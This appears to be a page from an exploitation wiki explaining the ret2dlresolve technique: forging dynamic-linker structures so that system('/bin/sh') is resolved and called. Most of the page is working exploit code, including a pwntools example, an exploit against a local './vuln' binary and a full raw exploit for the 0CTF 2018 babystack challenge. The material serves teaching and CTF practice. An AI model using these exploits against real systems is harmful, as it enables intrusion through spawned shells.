# Ret2dlresolve

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## Basic Information

As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.

The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.

Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).

Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.

{% hint style="success" %}
This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
{% endhint %}

Chek this video for a nice explanation about this technique in the second half of the video:

{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}

Or check these pages for a step-by-step explanation:

* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)

## Attack Summary

1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument

From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:

```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]
```

## Example

### Pure Pwntools

You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()
```

### Raw

```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()
```

## Other Examples & References

* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
  * 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.

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